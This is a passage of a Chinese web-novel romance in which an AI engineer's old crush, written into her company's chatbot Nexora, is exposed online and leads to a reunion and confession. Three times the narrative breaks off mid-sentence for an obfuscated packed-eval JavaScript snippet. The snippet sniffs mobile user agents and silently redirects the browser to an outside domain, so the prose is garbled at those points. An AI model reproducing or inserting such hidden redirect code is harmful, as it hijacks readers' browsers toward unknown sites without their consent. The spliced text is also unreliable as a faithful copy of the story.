舒言坐在沙发上又看了看媒体拍的照片，赛车场上的他多了一丝野性，男性荷尔蒙爆棚，让人完全挪不开眼睛。 看着他脸上的笑容，和她记忆里的那个少年好像并没有什么不同，一样的意气风发。 舒言翻看着评论区，才知道原来他这次去加拿大除了参加赛车比赛以外，还要给新专辑的MV取景，估计还得一段时间才能回国。 微信界面里，他们的聊天还停留在两周前的那天晚上，之后的时间舒言一直很忙，也没有给他发过消息，而他也没有再找过她。 虽然知道他可能在忙，但舒言心里隐隐还是有些失落。 她伸出手指想戳一下他的头像，但又怕出现上次那样的窘迫，只能隔空点了几下，嘴里还念叨着：“这么久都不联系我的坏人，怎么可能喜欢我，还误会我喜欢别人，都第二次了。” “……笨蛋。” — Nexora的后续运营还算顺利，用户量持续攀升，话题和讨论度居高不下。 随着Nexora的爆红，它的研发团队也出现在大众面前，官媒特意来到公司采访，云阙科技的整个团队都出现在新闻联播中。 很快就有网友把Nexora核心开发者的信息整理了出来，大部分人都是来自北大，华大以及国内知名的985高校。 舒言和徐倩琳作为团队内为数不多的女性AI工程师也备受关注。 网友在舒言的简介里配的是官网里她的入职证件照。 照片里她扎着马尾，额头光洁饱满，化着淡妆，脸上有浅浅的笑意，宛若春日里清甜的栀子花。 【哇撒，这个小姐姐好漂亮，给人一种大姨妈很准时的感觉】 【哈哈哈，我同意，很健康大气的长相，典型的东方美人】 【大美女我真的爱了，又美又强】 【她好像以前在北大读书的时候就很火了，校园墙常驻选手了，好多男生追她】 【长得这么好看还是学霸，是谁羡慕了我不说，美女姐姐我爱你】 【她好想也是南港的，天哪，身为南港人好骄傲！！！】 【是滴是滴，她是南港中学的，还是我的学姐呢，她高中的时候就很厉害了】 【啊啊啊，我也是南中的，天哪，总算能和优秀的人沾上一点关系，完全是女神级别的好吧】 【真棒，越来越多优秀的女性出现在我们面前了】 【女孩子细腻有耐心，果然很适合编程啊】 网友们对Nexora的开发也是层出不穷，用来写论文，写程序，做ppt这些都是比较常规的，还有用来占卜，算命的，甚至还有和它谈恋爱的…… 不过AI本来就是为了人类服务的，只要能够满足大家的需求，它就有存在的价值。 网上有个千万粉丝的情感博主在粉丝的私信轰炸下，也心血来潮地问了Nexora一个问题：女生视角的暗恋是什么样的。 【Nexora：女生视角的暗恋往往细腻又温柔，注重细节，内心戏丰富，容易陷入矛盾与自卑中。 通常具有以下的表现—— 1、因为和他拥有相同的爱好而内心欢喜，比如偶然发现他和你一样也爱喝青柠味的汽水。 2、一个不经意间的对视就会脸红心跳，只要见到他就能开心一整天，动力直接拉满。 3、发消息前需要鼓足勇气，对话框的内容反反复复编辑，发完消息后也不敢看他回复了什么。 4、眼睛仿佛安装了自动追踪系统，总能在人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368619|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群里第一时间注意到他，会格外关注他的一举一动，想靠近又不敢靠近。 …… 总之，女生视角的暗恋就像一部甜虐交织的小说，不读到最后你永远不知道故事的结局是怎样的，但幸运的是故事的执笔人是你，所以亲爱的女孩，不如再勇敢一点吧，要么拥抱幸福，要么远离痛苦！】 博主把Nexora的回答制作成视频发到网上引起了很多人的共鸣。 【卧槽，N老师你好会啊！！！】 【N老师直接出书吧，我马上下单】 【N老师真的好动女生啊，谁懂啊，这个视频给我看哭了】 【我请问呢？？？Nexora你只是一个AI，怎么还真情实感暗恋上了呢】 【真的好细节啊，我感觉视频里面的好多事情我都经历过，只可惜我最后也没和他在一起】 【N老师，我都怀疑你是不是真的暗恋过，不然为什么给出的回答活人感那么强！！！】 这个视频由于讨论度很高，登上了多个社交平台的热搜榜单，而博主也是稳稳接住了这波流量，直接专门出了一个系列——关于Nexora眼中的暗恋。 每一期视频的播放量还有话题度都不错，直到有一天博主突然在评论区发了一条评论并置顶—— 家人们，我发现一件大事！！！你们绝对会大吃一惊的，等我明天更新视频细说。 博主的评论勾起了大批网友的好奇，很多人一直在他的账号主页遵守，坐等第一时间吃瓜。 直到第二天晚上八点，博主才把视频发了出来，有网友把博主的视频整理成了文字版。 “家人们，我觉得这个Nexora可能真的暗恋过，哦不对，应该是它的开发者真的有过一段刻骨铭心的暗恋，具体原因请听我分析……” 在视频的最后，博主还总结出这个开发者暗恋的男生的细节—— “他个子很高，容貌干净清冷，喜欢唱歌、打球，爱喝青柠味的汽水，会编狗尾巴兔子，身上有淡淡的草木香气，洁癖很严重，左手臂内侧有个红色的心形印记……” 视频一发出来，评论区就炸开了锅。 【我就说我就说，果然群众的眼睛是雪亮的】 【朕的八十米长刀呢？？？这年头怎么连AI都学会暗恋了】 【Nexora你不许暗恋，谁允许你暗恋的！！！】 【我请问呢？我之前就说Nexora你是不是暗恋过，结果你来真的啊】 【说真的你们难道不好奇是开发团队里的哪位工程师小姐姐在暗恋吗】 【这还不容易吗，Nexora的开发团队里女性本来就不多，也就那几种可能吗】 【徐倩琳？林晚？尤佳美？哦，对了，还有舒言，差点给忘了。】 【啊？啊？啊？舒言也会暗恋吗？大美女也会有暗恋的经历吗？】 【怎么不可能啊，在Nexora的描述下，这个暗恋对象妥妥的校园男神好吗，又高又帅，会唱歌会打球，还很温柔，喜欢上也很正常吧】 【也对哦，天哪，我真的好想知道后续，暗恋到底有没有成功啊，Nexora不是还劝我们要勇敢吗，把这段经历写成代码的小姐姐应该也很勇敢吧】 【嘿嘿，想知道后续的话直接去Nexora官博底下留言或者私信不就可以了吗】 【哇哇哇，好主意，家人们，我去了】 【我去，你们是当代狄仁杰吗，下辈子我还要和你们当网友】 有很多网友都专门跑去Nexora官博留言了，大家都想知道博主的猜测是不是真的，如果是真的，那那位工程师小姐姐到底有没有暗恋的男生在一起。 #Nexora工程师曾有一段刻骨铭心的暗恋#这个词条更是冲上了微博热搜。 有人第一时间把这个热搜转发到了云阙科技职工群里并@了全体成员，还配文道：你们谁暗恋了[坏笑][坏笑] 47. 第47章 舒言知道这件事情的时候已经是凌晨，还是同事发私信告诉她的。 她心情七下八上地点开了公司的群聊，发现里面刷屏了好几百条消息，还有很多人@她。 舒言双手掩面，试图开始给自己洗脑，一定是她最近熬夜太多出现幻觉了。 但一睁开眼，眼前都是同事发来的私信。 社死实在来得猝不及防。 只恨科技还不够发达，不能让她连夜换个星球生活。 她是真没想到网友们会这么闲，连这么隐秘的事情都能扒出来。 因为她文笔比较好，所以情感板块是由她负责的，由于她当时没有什么灵感，就随手把自己的一些经历投喂给了AI，但也都是碎片化的，可谁知道全都被网友试出来了，甚至还做了一个集中整合。 这些关于暗恋的特征单看并没有端倪，但是放在一起就真的很像一个现实世界存在的人。 对于群里的消息，舒言选择直接无视，就当她没看到好了。 只要她不承认，那这件事情就是假的。 但是她现在最担心的并不是公司的人知道她以前暗恋过一个男生这件事，而是怕她暗恋的当事人也知道了这件事…… 那些她亲手写下的暗恋小细节网友看了是什么感受舒言不知道，但她知道谢玙看了肯定直接就能对号入座。 一想到这个可能舒言心脏就跳得飞快，她赶紧打开微博，又点进热搜里，屏气凝神开始翻看网友的评论。 她眼睛一直紧盯着屏幕，往下看了很久的评论，好在暂时还没有人把她的暗恋对象和谢玙联系在一起。 舒言暂时松了一口气，不过她希望永远都不会有人发现才好。 有什么比暗恋一个人被其他人知道了更恐怖的事情吗？ 有的。 暗恋一个人被全国人民都知道了，甚至还可能随时被本人发现…… 这么戏剧性的事情居然发生在自己身上。 舒言裹着被子在床上滚了一圈，脸颊深深陷进柔软的枕头里，俨然恨不得化身一只鸵鸟。 过了一会儿，又平躺在床上，面无表情地盯着天花板。 谁来救救她啊。 她现在是多么的弱小可怜又无助。 在她不知道第多少次叹气的时候，枕头旁边的手机倏地震动起来，打破了黑夜的沉寂。 舒言顿时一阵激灵，有些不愿面对现实，闭着眼睛挣扎了一会儿，还是伸手拿起了手机。 她只敢用一只眼睛去偷瞄屏幕，等看清是蔡妙妙打来的语音电话后才睁大了眼睛。 舒言破罐子破摔地按了接听键，电话接通后立马传来蔡妙妙的爆笑声。 “哈哈哈哈哈哈哈哈哈哈哈……” 舒言无奈地叹了一口气，“妙妙，有这么好笑吗？” 蔡妙妙还在那边狂笑不止，“对不起，言言，但是真的很好笑啊，哈哈哈哈哈哈哈哈哈哈……” 舒言：“……” 双眼无神。 心死如灰。 她现在已经不知道自己该露出什么表情了。 要不然表演一个仰天长啸吧。 果然人在社死的时候都是不太正常的。 不过想想还是算了，大晚上的她怕邻居投诉自己深夜扰民。 等笑够了以后，蔡妙妙才停了下来，不过还是不太能忍得住，说话的时候一个劲在憋笑。 “言言啊，我跟你说，我就猜到你今晚还没睡。” “我看到那个热搜词条的时候，第一时间就想到了你，点进去一看发现果然是你。” “对不起，真的有点太好笑了，你这个暗恋经历有点太小说剧情了，我还是第一次看见有人暗恋这么社死的，不行了，我要把这个剧情写到我的小说里……” 听着蔡妙妙一顿输出后，舒言才终于缓过来一点，有气无力地说：“妙妙，你说我该怎么办啊，我现在真的好怕他已经看到了。” “他这几天能先别上网吗……” “哈哈哈哈哈哈哈哈……”蔡妙妙又是一阵捧腹大笑，打趣她：“哎呀呀，要我说的话要不然你主动坦白算了，省得被他看到以后来找你，你怕是会尴尬得更想找条地缝钻进去。” 找他主动坦白？！ 坦白什么—— 是她以前暗恋他的事情还是说承认她这几年一直对他念念不忘，甚至还把他写进代码的事情。 总之不管是什么，她都很尴尬的好不好。 哪有人的暗恋是这样收尾的…… 舒言都能在脑海里想象出自己把这件事情告诉谢玙时他脸上的表情，她怕自己以后会羞愧得没脸见他。 舒言叹气：“我再想想吧。” 他现在又不在国内，说不定等他回来的时候，网友们早就把这件事情抛诸脑后，他也压根不知道发生了什么呢？ 蔡妙妙语气雀跃：“哈哈哈，也行，不过我觉得这没准是上天的旨意呢，让你们借着这个机会再续前缘，凭我这么多年博览群书的经验，我真心觉得他肯定也是对你有好感的，而且没准你们俩还是双向暗恋呢。” “你想想自己在程序里写的那句话，要么拥抱幸福，要么远离痛苦，反正这次勇敢了我想你以后肯定不会有遗憾了。” “好了，挂了挂了，我现在灵感爆棚，我要去怒码3000字。” 挂断电话后，舒言陷入了沉思中，她点开和谢玙的对话框，编辑了一段文字，但最后还是删掉了。 还是等他回来吧，这种事情还是当面说比较好。 舒言敛了敛神色，拿出床头柜抽屉里两人唯一的合照，低头认真看着。 这么多年过去了，或许这件事情真的要迎来结局了。 …… 黑夜如墨，云栖半岛独栋别墅二楼的一个房间还亮着灯。 秦亦熙躺在床上百无聊赖地刷着微博，突然被谢玙粉丝群里跳出来的消息吸引了注意。 作为经纪人，她注册了多个微博账号混迹在谢玙的各个粉丝群里，方便及时掌握一些动向，必要时也会出来控评。 这此时谢玙的某个铁粉群里正在热火朝天地讨论一件事。 【鱼饼们，你们看这个微博热搜了吗，截图jpg.】 【看了看了，Nexora的一个工程师小姐姐把自己的暗恋写成了代码】 【我也看到了，我觉得还挺浪漫的，小姐姐又美又优秀，被暗恋的男生幸福死了吧】 【我也觉得蛮触动的，不过那个被暗恋的男生应该也挺优秀的，不然不会被这么优秀的工程师小姐姐喜欢】 【额，其实我有句话不知道当讲不当讲】 【？？？】 【什么啊，快说快说】 【我觉得根据那个博主整理出来的那个男生身上的特征，好像和咱们喜欢的这位还蛮像的，尤其是他左手臂内侧的那个心形印迹，谢玙左手臂靠近手腕的位置也有一个】 【卧槽卧槽卧槽，你别说你别说，一样喜欢唱歌，都爱喝青柠味汽水，手臂上的印迹形状也一模一样】 【我去不是吧，半夜三更吃瓜吃到自己家了，有点刺激是怎么回事】 【你们都是戴八倍镜上网的吗，我怎么就没想到】 【别激动别激动，鱼饼们，我也只是猜测而已，不一定是真的】 【也对，应该没有这么巧合吧，我觉得肯定是你们想多了】 【是啊是啊，我现在比较关心新专辑还有演唱会的事情】 秦亦熙若有所思地点开了群里粉丝提到的热搜，看完以后她也陷入了同样的怀疑中。 确实是有很多特征能和她家艺人对上啊。 想到某种可能，秦亦熙没忍住瞪大了眼睛。 我勒个乖乖。 这个女孩子会不会就是她弟一直喜欢的人呢？ 秦亦熙按捺不住吃瓜的心，直接把热搜截图还有网友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377612|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的一些猜测全都打包发给了远在大洋彼岸的谢玙，然后又给他打了电话过去。 电话响了好一会儿才被接通了，电话里传来谢玙清冷磁性的声音。 “什么事？” 秦亦熙嘴角上扬，“阿玙，你快看微信，我给你发了消息，你会感谢我的。” “好了，你快去看吧，挂了。” 而那边的谢玙正在加拿大的落基山附近给新专辑MV取景，挂断电话后他示意摄影师先暂停拍摄，蹙着眉点开了微信。 等浏览完秦亦熙给他发来的所有图片，他素来淡定的脸上此刻写满了复杂。 有惊讶，有欣喜，但更多的是迫不及待回国的渴望。 谢玙握着手机的手都在发抖，恨不得立马就出现在她面前。 小刘很快发现了他的异样，紧张地询问：“怎么了，谢哥。” 谢玙眸色幽深，声音低沉又喑哑：“今天所有人都带薪休假，另外帮我订一张回国的机票，我要马上回北沅去。” — 昨晚几乎没怎么睡着，早上起床的时候舒言看了一眼天气预报，说是今天可能会下雪。 舒言看着窗外阴沉沉的天空，心想今年北沅还没下过雪呢。 出门的时候外面果然很冷，还好她今天穿上了长款羽绒服，把自己裹得严严实实的。 到公司以后，舒言明显能感受到来往的同事落在自己身上八卦的眼神。 完全不用想都知道是因为那件事情，但只要她本人没承认，任网友锤得再真，都只是捕风捉影。 等进了办公室，她刚坐下就被徐倩琳还有吴明围住了。 两人一副坦白从宽抗拒从严的表情盯着她看。 舒言瞥了他们一眼，没说话，一脸镇定地开电脑，又打开办公软件。 见她这么波澜不惊的样子，徐倩琳都开始怀疑网上说的都是假的了。 还是吴明先沉不住气开了口：“那个，舒言，网上说的那事是真的不？” “你以前真的暗恋过一个男生吗？” 徐倩琳眨巴着眼睛：“是啊是啊，现在全网都很好奇呢。” 舒言停下手上的动作看他们，无奈地笑了下：“我发现你们现在真的好八卦啊，是代码都写完了吗？” 听她提到这个，吴明就一脸吃屎的表情：“没办法，八卦是人类的灵魂嘛，我们其实也就是比较好奇，没有别的意思，你要是不愿意说也没有关系，毕竟是你的隐私嘛。” “我还是先去写代码了，不然晚上回去加班家里那位要削死我……” 徐倩琳赞同地点点头，“对对对，没事没事，你继续忙吧，我们不打扰你了。” 一上午都在忙碌中度过，下午上班以后徐请让又让她去了一趟办公室，交待了一些工作上的事情。 最后徐请让又问她：“昨天晚上……热搜的事情是怎么回事，公司微博的后台收到了很多网友的私信。” “当然，我知道这是你的私事，如果你不想回答也没有关系。” 舒言抿了抿唇角，“师兄，这件事情发生的太突然，我一时半会也不知道该怎么说。” 徐请让笑了笑，宽慰她：“没事，反正网友也就是看个热闹，过几天肯定就忘了。” 舒言点了点头，离开了办公室。 最近他们公司和一个医疗器械公司有合作，要在一些医用仪器上应用他们研发的AI，提高检测的准确性以及工作效率。 舒言一直忙到了晚上的八点，准备收拾东西下班的时候，放在桌上的手机突然震动了起来，在安静的办公室显得很是突兀。 舒言随手把手机拿了起来，只是等她看清屏幕上的来电显示时差点把手机扔在了地上。 X邀请你语音通话。 X邀请你语音通话。 X邀请你语音通话。 她脑海里只剩下一句话—— 完蛋了，当事人找上门来了。 48. 第48章 想着肯定躲不过去，舒言干脆拿起包往电梯走并按下了接听键。 电话里立即传来谢玙紧张又急促的声音，伴随着细微的喘气声。 “你现在在哪？我到你公司楼下了，今晚可以见一面吗？” 听到他现在就在楼下，舒言呼吸都停滞了一瞬，心跳快得像是要从嗓子眼蹦出来，眼睛下意识看向了右上方跳跃的楼层指示。 电梯发出“叮”的一声后停在了一楼。 电话那头的人还在等待她的回答。 舒言赶紧说了句：“马上，你等我出来。” 她开始往公司外面走，一眼就看到伫立在漫天飞雪里的高大男人。 绵密的雪花簌簌而下，像是有心灵感应似的，在她出去的那一刻，男人也刚好转过身来。 两人的视线隔着大老远的距离在空中交汇碰撞在一起，只是这次的对视比过往的每一次都要语重心长。 发现她的身影以后，谢玙当即迈开长腿朝她走来。 舒言也没有停下脚步，径直往他所在的方向走去。 等离得近了，借着鹅黄色的路灯，才发现他的头发、衣领都沾上了洁白的雪花。 长时间的飞行让谢玙的衣服有些凌乱，眉眼间也流露出些许疲惫，可他还是迫切地、眷恋地打量着她脸上的每一寸皮肤组织。 舒言眼皮动了动：“你怎么……” 来了。 话还没说完，面前便覆下大片阴影，是谢玙又往前走了一步。 他低垂着眼睫，宽大手掌举起手机，目光灼灼地盯着她看。 “这个……是不是需要解释一下。” 谢玙声音发颤，有些艰难地说出了这句话。 在这个寂静的雪夜，周遭的一切好像都开始变得模糊，唯一能看清的只有眼前人的模样。 舒言张了张嘴，胸腔顿时被一股汹涌的酸涩感填满，她差点绷不住地哭出声来。 这个她藏了很久的秘密，还是被他知道了，在喜欢他的第八年。 不可以在他面前哭。 舒言在心里告诉自己。 仿佛是被他炙热的目光烫到，舒言有些慌乱地别开了眼睛，声音低低的。 “时过境迁，或许我们都应该往前看。” 秘密彻底袒露在他面前的这一刻，并没有想象中的那么无措和难堪，更多的是岁月匆匆的遗憾。 “可是……”谢玙修长有力的手臂猛地将她拽入怀里，干净温的气息霎时包裹住她。 在她看不到的地方，男人的眼睫沾染晶莹雪花，发出一声贪恋地低喃：“我还喜欢你怎么办。” 可是我还喜欢你怎么办。 舒言耳朵嗡嗡的，脑海里不断重复着这句话。 她的脑袋靠在贴近他心脏的位置，可以清晰地听见他胸腔里传来的强劲心跳声，和她的心跳声交织融合在一起，一拍和着一拍，她从未听过这么好听的旋律。 呼吸间都是他身上清冽好闻的味道，眼泪终于控制不住地从她的眼角悄然滑落。 今天到底是个什么样的好日子。 在北沅初雪的当天，他携着满身潮湿的凉意，对自己诉说着近乎滚烫的喜欢。 从16岁就开始的喜欢终于在她24岁的尾巴得到了回应。 这让她怎么忍得住不掉眼泪。 “谢玙。” 舒言仰起白皙湿润的脸庞，泪眼朦胧。 谢玙背脊蓦地一僵，像是害怕再从她口中听见拒绝的话，有些闷闷的“嗯”了一声。 感受到他身体的紧绷，舒言主动伸手回抱住他，脸重新埋进他温热结实的胸膛里，唇边漾起开心的笑容。 “你听我说——” “我也喜欢你，不管是以前，还是现在，我都喜欢你。” 回应她的是男人骤然收紧的手臂，他抱得很用力，下巴还在她的发顶轻轻蹭了蹭。 两个人在雪地里安静拥抱了一会儿。 舒言吸了吸鼻子，又继续说：“可是我们分开了七年，在这七年时间里发生了太多事情，我们也变了很多，所以我有点害怕……” 害怕我不再是你记忆中的样子。 害怕我们根本走不到最后。 “言言。” 谢玙松开环在她肩上的手臂，低下头看她，声音里透着十足的坚定：“我明白你的顾虑。虽然我们错过了七年的时光，这是一个很难弥补的遗憾，但是请你相信我，我们很快就能重新走进彼此的生活，我们的以后会比任何时候都要更好，所以请你至少给我一个追求你，了解你的机会好吗？” 他看向她的眼神专注又温柔，让她忍不住沉溺在那片琥珀色海洋里。 舒言眼眶湿湿的，笑着对他点头：“好，以后肯定会越来越好的。” 24岁的她愿意再次相信16岁的选择，替年少时的自己再勇敢一次。 谢玙摸摸她的头发，唇边扯出点笑意，“那现在可以请我未来的女朋友先陪我去吃点东西吗，我现在真的好饿。” 他今天坐了10个小时的飞机，下车后也是半秒都不敢耽误，立马就打车来了她公司楼下。 听见他这么晚还没吃饭，舒言忍不住皱了下眉，心里顿时开始怀疑起来，“你不会是刚从国外回来吧。” 谢玙唇角忍不住上翘：“你知道我出国了啊。” 他脸上露出个可怜兮兮的表情，像是故意和她卖惨，“是啊，刚下飞机赶过来的，今天一天都没怎么吃东西。” 舒言一听眉头拧得更紧了，“那我们现在就去吃饭，你想吃什么？” 她拿出手机打车，问他：“中餐可以吗，这附近有家餐厅味道还不错。” 谢玙目光柔和：“都可以，只要你愿意陪着我就行。” “好。” 于是舒言直接导航了那家餐厅的位置，没等两分钟车就到了。 谢玙打开后排车门让她先坐进去。 等车门关好后，舒言报了手机尾号，“师傅，5899。” 上车后谢玙靠在座椅上，开始闭目养神，可没过一会儿就歪过头盯着她看，眼睛都没舍得眨一下。 舒言被他看得有点不好意思，小声说：“你怎么一直看我呀。” 谢玙喉结滚动了一下，笑着回答她：“好看。” 舒言知道自己的脸肯定红了，但又不知道怎么反驳他，索性扭头看向了车窗外。 可哪怕这样她也能感受到身侧那道不容忽视的炽热目光。 她抬手挡住了不受控制上扬的嘴角。 司机大哥看出来他们应该是情侣，而且模样都还挺俊的，就主动和他们搭话：“帅哥美女，你们是在这附近上班吗？” 谢玙难得心情不错，便回了话：“是的。” 司机大哥自顾自的点点头：“在这个科技园上班的人都很厉害啊，就前几天不是出了个AI软件，叫什么来着，不好意思我一下子给忘了，不过那个软件听说可厉害了，比什么百度好用多了，以前有问题都是问百度，现在有问题都是打开那个软件，而且人家不收费，还没有广告……” 听见司机洋洋洒洒地夸起他们公司开发的AI软件，舒言忍不住看向了驾驶座的方向。看来Nexora的用户确实挺多的，她随便打个车都能碰到。 谢玙的视线落在她秀丽的侧脸，附和道：“是啊，开发这个软件的人真的很优秀。” 如果不是这个软件，他们不知道还要错过多久，不过好在现在也不算晚。 车程并不远，不到十分钟就抵达了目的地。 下车前，舒言抓住他的衣角提醒道：“你要不要把口罩戴上。” 知道她是担心自己，谢玙安抚她：“没关系，晚上看不见的。” 舒言带着他坐电梯来到了那家餐厅，然后又让服务员帮忙找了个靠里面的位置。 好在这个时间点店里吃饭的人不算太多，刚才谢玙站在她旁边，服务员也没认真看。 舒言把菜单递给他，“你看看你想吃什么？” 谢玙敛睫轻笑，给她倒了一杯水，“你来点吧，我第一次来，也不清楚这家店什么好吃。” 舒言低下头翻看菜单，“好，那我点几个我觉得还不错的。” 点完菜后，舒言手搭在腿上，清澈明亮的杏眸安静看向他。 这一次她再也不用因为心动而刻意挪开目光。 说起来这好像还是他们俩第一次单独吃饭，这种感觉还挺奇妙的，也很幸福。 谢玙正在回复工作团队的消息，他那边MV还没拍完，大家都在那边等他，所以明早还得赶回去继续拍摄。 他们坐着等了一会儿，菜就陆陆续续送过来了。 舒言虽然晚上吃了饭，但还是想陪他一起吃点，因为她总觉得有人陪着一起吃饭食欲会更好一些。 谢玙这会儿确实是饿了，当然也有可能是因为有她陪着，就着菜吃了挺多米饭。 “你喜欢的东西果然味道都不会差。” 放下筷子后，谢玙轻笑着点评，又撕开一包湿巾擦手。 原来他的洁癖还是很严重，还是不喜欢用外面的纸巾。 舒言的视线不自觉落在他的手上，白色的湿巾包裹住他修长分明的指骨，他擦得很认真，掌心宽大，手背的皮肤组织很薄，可以清晰地看见上面迭起的青筋，很漂亮又很欲的一双手。 注意到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382482|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的目光，谢玙漂亮的桃花眼探了过来：“喜欢？” 舒言没隐藏内心的真实想法：“嗯。” 他的手真的很好看，很像艺术家精雕细琢的作品，衬得湿巾都高级了。 “这样啊——” 谢玙拖长语调，故意逗她：“那待会要不要牵。” ……和他牵手吗。 舒言脸一下就热了起来，不太好意思看他，“……先攒着吧。” 谢玙语气像是有些遗憾，“也行，那下次让你牵个够。” 怎么说的她很想和他牵手的样子。 虽然她确实是…… 不敢再继续想下去，舒言声若细蚊地嗯了一声。 吃完饭后两个人都还不想回家，就决定一起在外面散散步。 雪基本已经停了，路上白茫茫一片，路灯将他们的影子拉得很长。 “言言。” “嗯？” 谢玙停下脚步帮她拢了拢衣领，心中突然感慨颇多，“上次我们一起吃饭，中途你追着陈质离开，当时我还以为你已经在我和他之间做出了选择。” “后面我甚至都不敢再联系你，生怕你直接拒绝我，现在想想觉得自己其实也挺玻璃心的……” 谢玙觉得自己一向是个挺直接的人，可唯独在面对她的时候，那份果敢却总是缺席。 有时候他甚至会讨厌这样的自己。 听见他这么说，舒言感觉自己的心被刺痛了一下，望向他的眼睛满是歉意，“对不起啊，当时我没想那么多，陈质他是我的朋友，我怕他出事，不过你放心以后不会了。” 以后我再也不会为了任何人抛下你。 这是她郑重许给他的承诺。 “不过……”舒言顿了顿，说：“我和陈质一直都只是朋友，为什么王远会和你那么说呢？” 甚至高中毕业后，她都没再和王远联系过。 谢玙薄唇紧抿，神色晦暗：“我也不清楚，当时转学回北沅后我给你发了很多消息，但是你都没有回。” “后面我联系不上你，何昭、许漫他们也是，我就只能问王远，当时他和我说的就是……你们在一起了。” “那天在KTV看见他出来找你，我当时以为你们还在一起。” 空气里仿佛漂浮着青皮橘子的苦涩气味，让人闻一下就会忍不住掉眼泪。 舒言大脑彻底陷入空白，她没想到谢玙去北沅后还主动找过她，只可惜她当时…… 她抬起头去看他的眼睛，眼底闪烁着泪光，终于鼓起勇气告诉他当年的事情。 “高二的上学期，也就是在你生日后不久，我妈看到了我写的日记，就知道了我喜欢你的事情，她以为我们在早恋，所以非常生气，不准我继续和你来往，不然就要来学校找你，我当时很害怕她真的让你难堪，迫不得已只能答应了她，她还没收了我的手机，又给我办理了退宿，每天放学都会来校门口等我，放假以后我也哪里都不能去。” “再后来发生的时候你应该也还记得，那个时候我是真的很难过……高中时我们最后一次见面，你邀请我去听你的新歌，我也只能强忍着眼泪狠心拒绝你。” “我完全不敢想你是不是也喜欢我，每次和你相处，我都丝毫不敢暴露出对你的喜欢，怕你察觉以后我们连朋友都没得做。” “那个时候我就在想要是能快点长大就好了，可是等我长大了你又不见了……” 谢玙沉默着听她说了很多，等她停下来后，眼底的心疼浓郁又黏稠，他想开口说什么，却发现喉咙又干又涩。 他没想到事情的真相居然是这样。 当时他还很傻地以为她不喜欢自己，结果让她一个人默默承认了这么多痛苦。 时隔多年，他再一次尝到了后悔的滋味。 谢玙眼神晦涩，眼眶被风吹得也有点湿润，他一字一句地看着她说。 “其实……我很早就开始喜欢你了，那个时候我以为自己已经表现得很明显，好几次都想明确告诉你，但我知道你当时忙于学习，也只能暂时将心意隐藏。后来我还以为你是感觉到我对你的喜欢，所以才开始刻意疏离……” 话说到这里，两人心里皆是一阵唏嘘，没想到他们之间竟然有一个天大的误会。 这次如果不是网友发力，他们也不会这么顺利地知晓彼此的心意。 舒言忽然很想感谢之前的自己，如果不是她把暗恋的经历写成了代码，现在很可能也不会有这个后续。 又或许一切都是命中注定，生活也总是一环扣一环，早就为他们埋下了伏笔。 年少时藏在春天的那桩心事，最终还是破土而出，正大光明地沐浴在阳光底下。 49. 第49章 那天分别之前，谢玙和舒言交换了电话号码，之后的每一天他都会在她下班后给她打电话。 他会和她分享生活和工作中发生的一些趣事，偶尔还会吐槽自己的烦心事。 舒言也一样。 虽然他们还没正式在一起，但是日渐靠拢的两颗心让彼此都觉得很甜蜜。 舒言真的感觉到他们在重新融入彼此的生活。 而且这一次和高中时不太一样，现在的她没有了任何顾虑，可以一直跟着内心的声音走。 时间很快来到谢玙回国的这天，舒言从早上就开始在心里期待见到他。 她今天特意穿得很漂亮，脸上还化了个淡妆。 晚上下班以后，舒言一打开手机就看到了谢玙给她发的消息，他已经在公司楼下等她了。 舒言迫切地想要见到他，立马拿上包去坐电梯下楼。 刚走出公司大楼，舒言就接到了谢玙的电话。 他清润磁性的嗓音从听筒里传来：“抬头，我在你的9点钟方向。” 舒言当即看了过去，一眼就注意到站在一辆黑色迈巴赫前的男人正在朝自己招手。 她挂断电话，脸上扬起笑容，加快脚步走了过去。 男人今天穿了件黑色冲锋衣，拉链拉到了最上面，大半张脸都陷进衣领里，只露出一双标致的桃花眼，身高腿长的，往那一站很是惹眼。 这会儿下班的人挺多，好多人都在往他的方向看。 怕他被人认出来，开口前舒言还特意扫了眼周围，“等很久了吧。” 她刚才匆忙看了一眼，他的消息至少是半个小时前发过来的。 谢玙清瘦的下巴从衣领里探出来，扯唇笑了下，“应该的。” 旋即开始认真打量她，蓝色大衣搭配白色裙子，柔顺又有光泽的黑色长发，杏眼粉腮，漂亮得像个小仙女。 他毫不吝啬地夸赞道：“很漂亮。” 舒言被他炽热的目光看得耳根发烫，“谢谢。” 知道她容易害羞，谢玙笑着帮她打开副驾驶车门，“走吧，先上车。” 舒言正要上车，却看到座位上放着一束粉色的玫瑰花。 她下意识看向了他。 注意到她的反应，谢玙挑了下眉：“怎么了，不喜欢？” 